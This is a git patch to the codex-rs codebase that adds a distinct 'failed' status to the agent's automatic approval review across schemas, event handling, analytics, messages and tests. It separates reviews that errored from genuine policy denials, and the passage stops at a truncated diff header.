From 981ac2523f29bc2322436bb1029d6d0168992583 Mon Sep 17 00:00:00 2001 From: Katia Bazzi Date: Mon, 8 Jun 2026 14:45:56 -0700 Subject: [PATCH] Add truthful auto-review failure status --- codex-rs/analytics/src/events.rs | 3 + codex-rs/analytics/src/reducer.rs | 16 ++ .../json/ApplyPatchApprovalResponse.json | 7 + .../json/ExecCommandApprovalResponse.json | 7 + .../schema/json/ServerNotification.json | 1 + .../codex_app_server_protocol.schemas.json | 8 + .../codex_app_server_protocol.v2.schemas.json | 1 + ...anApprovalReviewCompletedNotification.json | 1 + ...dianApprovalReviewStartedNotification.json | 1 + .../schema/typescript/ReviewDecision.ts | 2 +- .../v2/GuardianApprovalReviewStatus.ts | 2 +- .../src/protocol/item_builders.rs | 4 + .../src/protocol/thread_history.rs | 73 ++++++++- .../src/protocol/v2/item.rs | 2 + .../src/protocol/v2/tests.rs | 22 +++ codex-rs/app-server/README.md | 2 +- .../app-server/src/bespoke_event_handling.rs | 57 +++++++- codex-rs/core/src/codex_delegate.rs | 7 +- codex-rs/core/src/guardian/metrics.rs | 1 + codex-rs/core/src/guardian/mod.rs | 1 + codex-rs/core/src/guardian/review.rs | 54 +++++-- codex-rs/core/src/guardian/tests.rs | 138 +++++++++++++++--- codex-rs/core/src/mcp_tool_call.rs | 3 + codex-rs/core/src/session/mcp.rs | 3 + codex-rs/core/src/session/mod.rs | 15 +- codex-rs/core/src/tools/network_approval.rs | 17 ++- codex-rs/core/src/tools/orchestrator.rs | 2 + .../tools/runtimes/shell/unix_escalation.rs | 4 + codex-rs/protocol/src/approvals.rs | 1 + codex-rs/protocol/src/protocol.rs | 4 + .../tui/src/chatwidget/protocol_requests.rs | 3 + ...ec_renders_warning_and_failed_request.snap | 25 ++++ codex-rs/tui/src/chatwidget/tests/guardian.rs | 66 +++++++++ codex-rs/tui/src/chatwidget/tool_requests.rs | 41 ++++++ codex-rs/tui/src/history_cell/approvals.rs | 61 ++++++++ 35 files changed, 611 insertions(+), 44 deletions(-) create mode 100644 codex-rs/tui/src/chatwidget/snapshots/codex_tui__chatwidget__tests__guardian_failed_exec_renders_warning_and_failed_request.snap diff --git a/codex-rs/analytics/src/events.rs b/codex-rs/analytics/src/events.rs index 019d59776a..57bb8404ea 100644 --- a/codex-rs/analytics/src/events.rs +++ b/codex-rs/analytics/src/events.rs @@ -178,6 +178,7 @@ pub(crate) struct GuardianReviewEventRequest { pub enum GuardianReviewDecision { Approved, Denied, + Failed, Aborted, } @@ -440,6 +441,7 @@ pub(crate) enum FinalApprovalOutcome { PolicyForbidden, GuardianApproved, GuardianDenied, + GuardianFailed, GuardianAborted, UserApproved, UserApprovedForSession, @@ -532,6 +534,7 @@ pub(crate) enum ReviewTrigger { pub(crate) enum ReviewStatus { Approved, Denied, + Failed, Aborted, TimedOut, } diff --git a/codex-rs/analytics/src/reducer.rs b/codex-rs/analytics/src/reducer.rs index 66caaafe01..96c0df09da 100644 --- a/codex-rs/analytics/src/reducer.rs +++ b/codex-rs/analytics/src/reducer.rs @@ -2069,6 +2069,9 @@ fn guardian_review_result( GuardianApprovalReviewStatus::TimedOut => { Some((ReviewStatus::TimedOut, ReviewResolution::None)) } + GuardianApprovalReviewStatus::Failed => { + Some((ReviewStatus::Failed, ReviewResolution::None)) + } GuardianApprovalReviewStatus::Aborted => { Some((ReviewStatus::Aborted, ReviewResolution::None)) } @@ -2171,6 +2174,7 @@ fn final_approval_outcome( match (reviewer, status, resolution) { (Reviewer::Guardian, ReviewStatus::Approved, _) => FinalApprovalOutcome::GuardianApproved, (Reviewer::Guardian, ReviewStatus::Denied, _) => FinalApprovalOutcome::GuardianDenied, + (Reviewer::Guardian, ReviewStatus::Failed, _) => FinalApprovalOutcome::GuardianFailed, (Reviewer::Guardian, _, _) => FinalApprovalOutcome::GuardianAborted, (Reviewer::User, ReviewStatus::Approved, ReviewResolution::SessionApproval) => { FinalApprovalOutcome::UserApprovedForSession @@ -2649,5 +2653,17 @@ mod tests { guardian_review_result(GuardianApprovalReviewStatus::TimedOut), Some((ReviewStatus::TimedOut, ReviewResolution::None)) )); + assert!(matches!( + guardian_review_result(GuardianApprovalReviewStatus::Failed), + Some((ReviewStatus::Failed, ReviewResolution::None)) + )); + assert!(matches!( + final_approval_outcome( + Reviewer::Guardian, + ReviewStatus::Failed, + ReviewResolution::None + ), + FinalApprovalOutcome::GuardianFailed + )); } } diff --git a/codex-rs/app-server-protocol/schema/json/ApplyPatchApprovalResponse.json b/codex-rs/app-server-protocol/schema/json/ApplyPatchApprovalResponse.json index 84c36edf10..edadbc4fc2 100644 --- a/codex-rs/app-server-protocol/schema/json/ApplyPatchApprovalResponse.json +++ b/codex-rs/app-server-protocol/schema/json/ApplyPatchApprovalResponse.json @@ -101,6 +101,13 @@ ], "type": "string" }, + { + "description": "Automatic approval review failed before reaching a decision.", + "enum": [ + "failed" + ], + "type": "string" + }, { "description": "User has denied this command and the agent should not do anything until the user's next command.", "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/ExecCommandApprovalResponse.json b/codex-rs/app-server-protocol/schema/json/ExecCommandApprovalResponse.json index 477109e2b0..7733c72d84 100644 --- a/codex-rs/app-server-protocol/schema/json/ExecCommandApprovalResponse.json +++ b/codex-rs/app-server-protocol/schema/json/ExecCommandApprovalResponse.json @@ -101,6 +101,13 @@ ], "type": "string" }, + { + "description": "Automatic approval review failed before reaching a decision.", + "enum": [ + "failed" + ], + "type": "string" + }, { "description": "User has denied this command and the agent should not do anything until the user's next command.", "enum": [ diff --git a/codex-rs/app-server-protocol/schema/json/ServerNotification.json b/codex-rs/app-server-protocol/schema/json/ServerNotification.json index dac3a4fdff..5ad13af350 100644 --- a/codex-rs/app-server-protocol/schema/json/ServerNotification.json +++ b/codex-rs/app-server-protocol/schema/json/ServerNotification.json @@ -1765,6 +1765,7 @@ "approved", "denied", "timedOut", + "failed", "aborted" ], "type": "string" diff --git a/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json b/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json index 1873ed317e..3024d1854f 100644 --- a/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json +++ b/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.schemas.json @@ -3967,6 +3967,13 @@ ], "type": "string" }, + { + "description": "Automatic approval review failed before reaching a decision.", + "enum": [ + "failed" + ], + "type": "string" + }, { "description": "User has denied this command and the agent should not do anything until the user's next command.", "enum": [ @@ -10004,6 +10011,7 @@ "approved", "denied", "timedOut", + "failed", "aborted" ], "type": "string" diff --git a/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json b/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json index 38c74b1859..5c3322971b 100644 --- a/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json +++ b/codex-rs/app-server-protocol/schema/json/codex_app_server_protocol.v2.schemas.json @@ -6457,6 +6457,7 @@ "approved", "denied", "timedOut", + "failed", "aborted" ], "type": "string" diff --git a/codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewCompletedNotification.json b/codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewCompletedNotification.json index a366c99a41..57671aeba4 100644 --- a/codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewCompletedNotification.json +++ b/codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewCompletedNotification.json @@ -502,6 +502,7 @@ "approved", "denied", "timedOut", + "failed", "aborted" ], "type": "string" diff --git a/codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewStartedNotification.json b/codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewStartedNotification.json index bc081c7be9..e58cf9a9ef 100644 --- a/codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewStartedNotification.json +++ b/codex-rs/app-server-protocol/schema/json/v2/ItemGuardianApprovalReviewStartedNotification.json @@ -495,6 +495,7 @@ "approved", "denied", "timedOut", + "failed", "aborted" ], "type": "string" diff --git a/codex-rs/app-server-protocol/schema/typescript/ReviewDecision.ts b/codex-rs/app-server-protocol/schema/typescript/ReviewDecision.ts index 109f72929c..7e784fb082 100644 --- a/codex-rs/app-server-protocol/schema/typescript/ReviewDecision.ts +++ b/codex-rs/app-server-protocol/schema/typescript/ReviewDecision.ts @@ -7,4 +7,4 @@ import type { NetworkPolicyAmendment } from "./NetworkPolicyAmendment"; /** * User's decision in response to an ExecApprovalRequest. */ -export type ReviewDecision = "approved" | { "approved_execpolicy_amendment": { proposed_execpolicy_amendment: ExecPolicyAmendment, } } | "approved_for_session" | { "network_policy_amendment": { network_policy_amendment: NetworkPolicyAmendment, } } | "denied" | "timed_out" | "abort"; +export type ReviewDecision = "approved" | { "approved_execpolicy_amendment": { proposed_execpolicy_amendment: ExecPolicyAmendment, } } | "approved_for_session" | { "network_policy_amendment": { network_policy_amendment: NetworkPolicyAmendment, } } | "denied" | "timed_out" | "failed" | "abort"; diff --git a/codex-rs/app-server-protocol/schema/typescript/v2/GuardianApprovalReviewStatus.ts b/codex-rs/app-server-protocol/schema/typescript/v2/GuardianApprovalReviewStatus.ts index ae892572f5..6ecc69d473 100644 --- a/codex-rs/app-server-protocol/schema/typescript/v2/GuardianApprovalReviewStatus.ts +++ b/codex-rs/app-server-protocol/schema/typescript/v2/GuardianApprovalReviewStatus.ts @@ -5,4 +5,4 @@ /** * [UNSTABLE] Lifecycle state for an approval auto-review. */ -export type GuardianApprovalReviewStatus = "inProgress" | "approved" | "denied" | "timedOut" | "aborted"; +export type GuardianApprovalReviewStatus = "inProgress" | "approved" | "denied" | "timedOut" | "failed" | "aborted"; diff --git a/codex-rs/app-server-protocol/src/protocol/item_builders.rs b/codex-rs/app-server-protocol/src/protocol/item_builders.rs index 17e0f9aef4..0c6f4dd310 100644 --- a/codex-rs/app-server-protocol/src/protocol/item_builders.rs +++ b/codex-rs/app-server-protocol/src/protocol/item_builders.rs @@ -227,6 +227,9 @@ pub fn guardian_auto_approval_review_notification( codex_protocol::protocol::GuardianAssessmentStatus::TimedOut => { GuardianApprovalReviewStatus::TimedOut } + codex_protocol::protocol::GuardianAssessmentStatus::Failed => { + GuardianApprovalReviewStatus::Failed + } codex_protocol::protocol::GuardianAssessmentStatus::Aborted => { GuardianApprovalReviewStatus::Aborted } @@ -253,6 +256,7 @@ pub fn guardian_auto_approval_review_notification( codex_protocol::protocol::GuardianAssessmentStatus::Approved | codex_protocol::protocol::GuardianAssessmentStatus::Denied | codex_protocol::protocol::GuardianAssessmentStatus::TimedOut + | codex_protocol::protocol::GuardianAssessmentStatus::Failed | codex_protocol::protocol::GuardianAssessmentStatus::Aborted => { ServerNotification::ItemGuardianApprovalReviewCompleted( ItemGuardianApprovalReviewCompletedNotification { diff --git a/codex-rs/app-server-protocol/src/protocol/thread_history.rs b/codex-rs/app-server-protocol/src/protocol/thread_history.rs index fdc2af15d3..7113a770e0 100644 --- a/codex-rs/app-server-protocol/src/protocol/thread_history.rs +++ b/codex-rs/app-server-protocol/src/protocol/thread_history.rs @@ -432,7 +432,9 @@ impl ThreadHistoryBuilder { GuardianAssessmentStatus::Denied | GuardianAssessmentStatus::Aborted => { CommandExecutionStatus::Declined } - GuardianAssessmentStatus::TimedOut => CommandExecutionStatus::Failed, + GuardianAssessmentStatus::TimedOut | GuardianAssessmentStatus::Failed => { + CommandExecutionStatus::Failed + } GuardianAssessmentStatus::Approved => return, }; let Some(item) = build_item_from_guardian_event(payload, status) else { @@ -2382,6 +2384,75 @@ mod tests { ); } + #[test] + fn reconstructs_failed_guardian_command_item() { + let events = vec![ + EventMsg::TurnStarted(TurnStartedEvent { + turn_id: "turn-1".into(), + trace_id: None, + started_at: None, + model_context_window: None, + collaboration_mode_kind: Default::default(), + }), + EventMsg::UserMessage(UserMessageEvent { + client_id: None, + message: "review this command".into(), + images: None, + text_elements: Vec::new(), + local_images: Vec::new(), + ..Default::default() + }), + EventMsg::GuardianAssessment(GuardianAssessmentEvent { + id: "review-guardian-exec".into(), + target_item_id: Some("guardian-exec".into()), + turn_id: "turn-1".into(), + started_at_ms: 1_000, + completed_at_ms: Some(1_042), + status: GuardianAssessmentStatus::Failed, + risk_level: None, + user_authorization: None, + rationale: Some( + "Automatic approval review failed before reaching a decision.".into(), + ), + decision_source: Some( + codex_protocol::protocol::GuardianAssessmentDecisionSource::Agent, + ), + action: serde_json::from_value(serde_json::json!({ + "type": "command", + "source": "shell", + "command": "git push", + "cwd": test_path_buf("/tmp"), + })) + .expect("guardian action"), + }), + ]; + + let items = events + .into_iter() + .map(RolloutItem::EventMsg) + .collect::>(); + let turns = build_turns_from_rollout_items(&items); + assert_eq!(turns.len(), 1); + assert_eq!(turns[0].items.len(), 2); + assert_eq!( + turns[0].items[1], + ThreadItem::CommandExecution { + id: "guardian-exec".into(), + command: "git push".into(), + cwd: test_path_buf("/tmp").abs(), + process_id: None, + source: CommandExecutionSource::Agent, + status: CommandExecutionStatus::Failed, + command_actions: vec![CommandAction::Unknown { + command: "git push".into(), + }], + aggregated_output: None, + exit_code: None, + duration_ms: None, + } + ); + } + #[test] fn reconstructs_in_progress_guardian_execve_item() { let events = vec![ diff --git a/codex-rs/app-server-protocol/src/protocol/v2/item.rs b/codex-rs/app-server-protocol/src/protocol/v2/item.rs index d68485565e..9d5bcdd602 100644 --- a/codex-rs/app-server-protocol/src/protocol/v2/item.rs +++ b/codex-rs/app-server-protocol/src/protocol/v2/item.rs @@ -81,6 +81,7 @@ impl From for CommandExecutionApprovalDecision { CoreReviewDecision::Abort => Self::Cancel, CoreReviewDecision::Denied => Self::Decline, CoreReviewDecision::TimedOut => Self::Decline, + CoreReviewDecision::Failed => Self::Decline, } } } @@ -406,6 +407,7 @@ pub enum GuardianApprovalReviewStatus { Approved, Denied, TimedOut, + Failed, Aborted, } diff --git a/codex-rs/app-server-protocol/src/protocol/v2/tests.rs b/codex-rs/app-server-protocol/src/protocol/v2/tests.rs index 91bfbcc091..e6943e770c 100644 --- a/codex-rs/app-server-protocol/src/protocol/v2/tests.rs +++ b/codex-rs/app-server-protocol/src/protocol/v2/tests.rs @@ -2230,6 +2230,28 @@ fn automatic_approval_review_deserializes_aborted_status() { ); } +#[test] +fn automatic_approval_review_deserializes_failed_status() { + let review: GuardianApprovalReview = serde_json::from_value(json!({ + "status": "failed", + "riskLevel": null, + "userAuthorization": null, + "rationale": "Automatic approval review failed before reaching a decision." + })) + .expect("failed automatic review should deserialize"); + assert_eq!( + review, + GuardianApprovalReview { + status: GuardianApprovalReviewStatus::Failed, + risk_level: None, + user_authorization: None, + rationale: Some( + "Automatic approval review failed before reaching a decision.".to_string() + ), + } + ); +} + #[test] fn guardian_approval_review_action_round_trips_command_shape() { let value = json!({ diff --git a/codex-rs/app-server/README.md b/codex-rs/app-server/README.md index a06adf03e7..51c100e57a 100644 --- a/codex-rs/app-server/README.md +++ b/codex-rs/app-server/README.md @@ -1273,7 +1273,7 @@ All items emit shared lifecycle events: - `item/started` — emits the full `item` when a new unit of work begins so the UI can render it immediately; the `item.id` in this payload matches the `itemId` used by deltas. - `item/completed` — sends the final `item` once that work itself finishes (for example, after a tool call or message completes); treat this as the authoritative execution/result state. - `item/autoApprovalReview/started` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review begins. This shape is expected to change soon. -- `item/autoApprovalReview/completed` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review resolves. This shape is expected to change soon. +- `item/autoApprovalReview/completed` — [UNSTABLE] temporary auto-review notification carrying `{threadId, turnId, targetItemId, review, action}` when approval auto-review resolves. The review status distinguishes policy decisions (`approved`, `denied`) from reviews that timed out, failed before producing a decision, or were aborted. This shape is expected to change soon. `review` is [UNSTABLE] and currently has `{status, riskLevel?, userAuthorization?, rationale?}`, where `status` is one of `inProgress`, `approved`, `denied`, or `aborted`. `riskLevel` is one of `"low"`, `"medium"`, `"high"`, or `"critical"` when present. `userAuthorization` is one of `"unknown"`, `"low"`, `"medium"`, or `"high"` when present. `action` is a tagged union with `type: "command" | "execve" | "applyPatch" | "networkAccess" | "mcpToolCall"`. Command-like actions include a `source` discriminator (`"shell"` or `"unifiedExec"`). These notifications are separate from the target item's own `item/completed` lifecycle and are intentionally temporary while the auto-review app protocol is still being designed. diff --git a/codex-rs/app-server/src/bespoke_event_handling.rs b/codex-rs/app-server/src/bespoke_event_handling.rs index 547d0666ed..f9710bab4e 100644 --- a/codex-rs/app-server/src/bespoke_event_handling.rs +++ b/codex-rs/app-server/src/bespoke_event_handling.rs @@ -292,7 +292,8 @@ pub(crate) async fn apply_bespoke_event_handling( | codex_protocol::protocol::GuardianAssessmentStatus::Aborted => { Some(CommandExecutionStatus::Declined) } - codex_protocol::protocol::GuardianAssessmentStatus::TimedOut => { + codex_protocol::protocol::GuardianAssessmentStatus::TimedOut + | codex_protocol::protocol::GuardianAssessmentStatus::Failed => { Some(CommandExecutionStatus::Failed) } codex_protocol::protocol::GuardianAssessmentStatus::InProgress @@ -2279,6 +2280,11 @@ mod tests { GuardianAssessmentStatus::TimedOut => { (None, None, Some("review timed out".to_string())) } + GuardianAssessmentStatus::Failed => ( + None, + None, + Some("review failed before reaching a decision".to_string()), + ), GuardianAssessmentStatus::Aborted => (None, None, None), }; GuardianAssessmentEvent { @@ -2436,6 +2442,55 @@ mod tests { } } + #[test] + fn guardian_assessment_failed_emits_completed_review_payload() { + let conversation_id = ThreadId::new(); + let action = codex_protocol::protocol::GuardianAssessmentAction::Command { + source: codex_protocol::protocol::GuardianCommandSource::Shell, + command: "git push".to_string(), + cwd: test_path_buf("/tmp").abs(), + }; + let notification = guardian_auto_approval_review_notification( + &conversation_id, + "turn-from-event", + &GuardianAssessmentEvent { + id: "review-failed".to_string(), + target_item_id: Some("item-failed".to_string()), + turn_id: "turn-from-assessment".to_string(), + started_at_ms: 1_000, + completed_at_ms: Some(1_042), + status: codex_protocol::protocol::GuardianAssessmentStatus::Failed, + risk_level: None, + user_authorization: None, + rationale: Some( + "Automatic approval review failed before reaching a decision.".to_string(), + ), + decision_source: Some( + codex_protocol::protocol::GuardianAssessmentDecisionSource::Agent, + ), + action: action.clone(), + }, + ); + + match notification { + ServerNotification::ItemGuardianApprovalReviewCompleted(payload) => { + assert_eq!(payload.thread_id, conversation_id.to_string()); + assert_eq!(payload.turn_id, "turn-from-assessment"); + assert_eq!(payload.review_id, "review-failed"); + assert_eq!(payload.target_item_id.as_deref(), Some("item-failed")); + assert_eq!(payload.review.status, GuardianApprovalReviewStatus::Failed); + assert_eq!(payload.review.risk_level, None); + assert_eq!(payload.review.user_authorization, None); + assert_eq!( + payload.review.rationale.as_deref(), + Some("Automatic approval review failed before reaching a decision.") + ); + assert_eq!(payload.action, action.into()); + } + other => panic!("unexpected notification: {other:?}"), + } + } + #[test] fn guardian_assessment_aborted_emits_completed_review_payload() { let conversation_id = ThreadId::new(); diff --git a/codex-rs/core/src/codex_delegate.rs b/codex-rs/core/src/codex_delegate.rs index 5a1473b057..7ac7fdb60f 100644 --- a/codex-rs/core/src/codex_delegate.rs +++ b/codex-rs/core/src/codex_delegate.rs @@ -732,9 +732,10 @@ async fn maybe_auto_review_mcp_request_user_input( ReviewDecision::Approved | ReviewDecision::ApprovedExecpolicyAmendment { .. } | ReviewDecision::NetworkPolicyAmendment { .. } => MCP_TOOL_APPROVAL_ACCEPT.to_string(), - ReviewDecision::Denied | ReviewDecision::TimedOut | ReviewDecision::Abort => { - MCP_TOOL_APPROVAL_DECLINE_SYNTHETIC.to_string() - } + ReviewDecision::Denied + | ReviewDecision::TimedOut + | ReviewDecision::Failed + | ReviewDecision::Abort => MCP_TOOL_APPROVAL_DECLINE_SYNTHETIC.to_string(), }; Some(RequestUserInputResponse { answers: HashMap::from([( diff --git a/codex-rs/core/src/guardian/metrics.rs b/codex-rs/core/src/guardian/metrics.rs index 9b9d35a526..a09a9d7f04 100644 --- a/codex-rs/core/src/guardian/metrics.rs +++ b/codex-rs/core/src/guardian/metrics.rs @@ -138,6 +138,7 @@ fn decision_tag(decision: GuardianReviewDecision) -> &'static str { match decision { GuardianReviewDecision::Approved => "approved", GuardianReviewDecision::Denied => "denied", + GuardianReviewDecision::Failed => "failed", GuardianReviewDecision::Aborted => "aborted", } } diff --git a/codex-rs/core/src/guardian/mod.rs b/codex-rs/core/src/guardian/mod.rs index b4920f1ff6..fb9f2b09c0 100644 --- a/codex-rs/core/src/guardian/mod.rs +++ b/codex-rs/core/src/guardian/mod.rs @@ -29,6 +29,7 @@ pub(crate) use approval_request::GuardianMcpAnnotations; pub(crate) use approval_request::GuardianNetworkAccessTrigger; #[cfg(test)] pub(crate) use approval_request::guardian_approval_request_to_json; +pub(crate) use review::guardian_failure_message; pub(crate) use review::guardian_rejection_message; pub(crate) use review::guardian_timeout_message; pub(crate) use review::is_guardian_reviewer_source; diff --git a/codex-rs/core/src/guardian/review.rs b/codex-rs/core/src/guardian/review.rs index 934e68042f..216a8e4c1c 100644 --- a/codex-rs/core/src/guardian/review.rs +++ b/codex-rs/core/src/guardian/review.rs @@ -58,6 +58,13 @@ const GUARDIAN_TIMEOUT_INSTRUCTIONS: &str = concat!( "You may retry once, or ask the user for guidance or explicit approval.", ); +const GUARDIAN_FAILURE_INSTRUCTIONS: &str = concat!( + "The automatic permission approval review failed before reaching a policy decision. ", + "The action was not approved and was not executed. ", + "Do not interpret this failure as evidence that the action is unsafe or was denied by policy. ", + "Ask the user for guidance or explicit approval.", +); + pub(crate) fn new_guardian_review_id() -> String { uuid::Uuid::new_v4().to_string() } @@ -87,6 +94,10 @@ pub(crate) fn guardian_timeout_message() -> String { GUARDIAN_TIMEOUT_INSTRUCTIONS.to_string() } +pub(crate) fn guardian_failure_message() -> String { + GUARDIAN_FAILURE_INSTRUCTIONS.to_string() +} + #[derive(Debug)] pub(super) enum GuardianReviewOutcome { Completed(GuardianAssessment), @@ -470,29 +481,50 @@ async fn run_guardian_review( "guardian review failed" } }; - let rationale = format!("Automatic approval review failed: {message}"); + let rationale = format!( + "Automatic approval review failed before reaching a decision: {message}" + ); track_guardian_review( session.as_ref(), &review_tracking, approval_request_source, &reviewed_action, GuardianReviewAnalyticsResult { - decision: GuardianReviewDecision::Denied, + decision: GuardianReviewDecision::Failed, terminal_status: GuardianReviewTerminalStatus::FailedClosed, failure_reason: Some(error.failure_reason()), ..analytics_result }, completed_at_ms.try_into().unwrap_or_default(), ); - ( - GuardianAssessment { - risk_level: GuardianRiskLevel::High, - user_authorization: GuardianUserAuthorization::Unknown, - outcome: GuardianAssessmentOutcome::Deny, - rationale, - }, - false, - ) + session + .send_event( + turn.as_ref(), + EventMsg::GuardianWarning(WarningEvent { + message: rationale.clone(), + }), + ) + .await; + session + .send_event( + turn.as_ref(), + EventMsg::GuardianAssessment(GuardianAssessmentEvent { + id: review_id, + target_item_id, + turn_id: assessment_turn_id.clone(), + started_at_ms, + completed_at_ms: Some(completed_at_ms), + status: GuardianAssessmentStatus::Failed, + risk_level: None, + user_authorization: None, + rationale: Some(rationale), + decision_source: Some(GuardianAssessmentDecisionSource::Agent), + action: terminal_action, + }), + ) + .await; + record_guardian_non_denial(&session, &assessment_turn_id).await; + return ReviewDecision::Failed; } }, }; diff --git a/codex-rs/core/src/guardian/tests.rs b/codex-rs/core/src/guardian/tests.rs index ffadd801ca..1386671cca 100644 --- a/codex-rs/core/src/guardian/tests.rs +++ b/codex-rs/core/src/guardian/tests.rs @@ -1972,7 +1972,7 @@ async fn guardian_reused_trunk_ignores_stale_prior_turn_completion() -> anyhow:: } #[tokio::test(flavor = "multi_thread", worker_threads = 2)] -async fn guardian_review_surfaces_responses_api_errors_in_rejection_reason() -> anyhow::Result<()> { +async fn guardian_review_surfaces_responses_api_errors_as_failed() -> anyhow::Result<()> { skip_if_no_network!(Ok(())); let server = start_mock_server().await; @@ -2029,17 +2029,17 @@ async fn guardian_review_surfaces_responses_api_errors_in_rejection_reason() -> ) .await; - assert_eq!(decision, ReviewDecision::Denied); + assert_eq!(decision, ReviewDecision::Failed); let mut warnings = Vec::new(); - let mut denial_rationales = Vec::new(); + let mut failed_assessments = Vec::new(); while let Ok(event) = rx.try_recv() { match event.msg { EventMsg::GuardianWarning(event) => warnings.push(event.message), EventMsg::GuardianAssessment(event) - if event.status == GuardianAssessmentStatus::Denied => + if event.status == GuardianAssessmentStatus::Failed => { - denial_rationales.push(event.rationale) + failed_assessments.push(event) } _ => {} } @@ -2052,29 +2052,133 @@ async fn guardian_review_surfaces_responses_api_errors_in_rejection_reason() -> "warning should include the underlying responses api error" ); assert!( - denial_rationales + failed_assessments .iter() - .flatten() + .filter_map(|event| event.rationale.as_deref()) .any(|message| message.contains(error_message)), - "denial rationale should include the underlying responses api error" + "failure rationale should include the underlying responses api error" ); assert!( - denial_rationales.iter().flatten().all(|message| { - !message.contains("guardian review completed without an assessment payload") + failed_assessments.iter().all(|event| { + event.risk_level.is_none() + && event.user_authorization.is_none() + && event.rationale.as_deref().is_some_and(|message| { + !message.contains("guardian review completed without an assessment payload") + }) }), - "denial rationale should not fall back to the generic missing payload error" + "failure should not fabricate risk metadata or use the generic missing payload error" ); { let rationales = session.services.guardian_rejections.lock().await; - assert!(rationales.contains_key("review-shell-guardian-error")); + assert!(!rationales.contains_key("review-shell-guardian-error")); assert!(!rationales.contains_key("shell-guardian-error")); } - let rejection_message = - guardian_rejection_message(session.as_ref(), "review-shell-guardian-error").await; assert!( - rejection_message.contains("Reason: Automatic approval review failed:") - && rejection_message.contains(error_message), - "rejection message should include guardian rationale: {rejection_message}" + guardian_failure_message().contains("failed before reaching a policy decision") + && !guardian_failure_message().contains("unacceptable risk"), + "failure message should clearly distinguish review failure from policy denial" + ); + + Ok(()) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn guardian_review_surfaces_invalid_assessment_as_failed() -> anyhow::Result<()> { + skip_if_no_network!(Ok(())); + + let server = start_mock_server().await; + let request_log = mount_sse_once( + &server, + sse(vec![ + ev_response_created("resp-guardian"), + ev_assistant_message("msg-guardian", "not a guardian assessment"), + ev_completed("resp-guardian"), + ]), + ) + .await; + let (session, turn) = guardian_test_session_and_turn(&server).await; + seed_guardian_parent_history(&session, &turn).await; + + let decision = review_approval_request( + &session, + &turn, + "review-shell-guardian-parse-error".to_string(), + GuardianApprovalRequest::Shell { + id: "shell-guardian-parse-error".to_string(), + command: vec!["git".to_string(), "push".to_string()], + cwd: test_path_buf("/repo/codex-rs/core").abs(), + sandbox_permissions: crate::sandboxing::SandboxPermissions::UseDefault, + additional_permissions: None, + justification: Some("Need to push the reviewed docs fix.".to_string()), + }, + /*retry_reason*/ None, + ) + .await; + + assert_eq!(decision, ReviewDecision::Failed); + assert_eq!(request_log.requests().len(), 1); + assert!( + !session + .services + .guardian_rejections + .lock() + .await + .contains_key("review-shell-guardian-parse-error") + ); + + Ok(()) +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +async fn guardian_review_preserves_genuine_denial() -> anyhow::Result<()> { + skip_if_no_network!(Ok(())); + + let server = start_mock_server().await; + let request_log = mount_sse_once( + &server, + sse(vec![ + ev_response_created("resp-guardian"), + ev_assistant_message( + "msg-guardian", + r#"{"outcome":"deny","risk_level":"high","user_authorization":"low","rationale":"The requested push is not justified."}"#, + ), + ev_completed("resp-guardian"), + ]), + ) + .await; + let (session, turn) = guardian_test_session_and_turn(&server).await; + seed_guardian_parent_history(&session, &turn).await; + + let decision = review_approval_request( + &session, + &turn, + "review-shell-guardian-denied".to_string(), + GuardianApprovalRequest::Shell { + id: "shell-guardian-denied".to_string(), + command: vec!["git".to_string(), "push".to_string()], + cwd: test_path_buf("/repo/codex-rs/core").abs(), + sandbox_permissions: crate::sandboxing::SandboxPermissions::UseDefault, + additional_permissions: None, + justification: Some("Need to push the reviewed docs fix.".to_string()), + }, + /*retry_reason*/ None, + ) + .await; + + assert_eq!(decision, ReviewDecision::Denied); + assert_eq!(request_log.requests().len(), 1); + assert_eq!( + session + .services + .guardian_rejections + .lock() + .await + .get("review-shell-guardian-denied") + .cloned(), + Some(GuardianRejection { + rationale: "The requested push is not justified.".to_string(), + source: GuardianAssessmentDecisionSource::Agent, + }) ); Ok(()) diff --git a/codex-rs/core/src/mcp_tool_call.rs b/codex-rs/core/src/mcp_tool_call.rs index b9a8d4ff08..ef94b44729 100644 --- a/codex-rs/core/src/mcp_tool_call.rs +++ b/codex-rs/core/src/mcp_tool_call.rs @@ -1410,6 +1410,9 @@ async fn mcp_tool_approval_decision_from_guardian( ReviewDecision::TimedOut => McpToolApprovalDecision::Decline { message: Some(guardian_timeout_message()), }, + ReviewDecision::Failed => McpToolApprovalDecision::Decline { + message: Some(crate::guardian::guardian_failure_message()), + }, ReviewDecision::Abort => McpToolApprovalDecision::Decline { message: None }, } } diff --git a/codex-rs/core/src/session/mcp.rs b/codex-rs/core/src/session/mcp.rs index cc018343eb..ffb56dbf65 100644 --- a/codex-rs/core/src/session/mcp.rs +++ b/codex-rs/core/src/session/mcp.rs @@ -668,6 +668,9 @@ fn mcp_elicitation_response_from_guardian_decision_parts( ReviewDecision::TimedOut => { mcp_elicitation_decline_with_message(crate::guardian::guardian_timeout_message()) } + ReviewDecision::Failed => { + mcp_elicitation_decline_with_message(crate::guardian::guardian_failure_message()) + } ReviewDecision::Abort => ElicitationResponse { action: ElicitationAction::Cancel, content: None, diff --git a/codex-rs/core/src/session/mod.rs b/codex-rs/core/src/session/mod.rs index 37d55256f5..53a34c68c4 100644 --- a/codex-rs/core/src/session/mod.rs 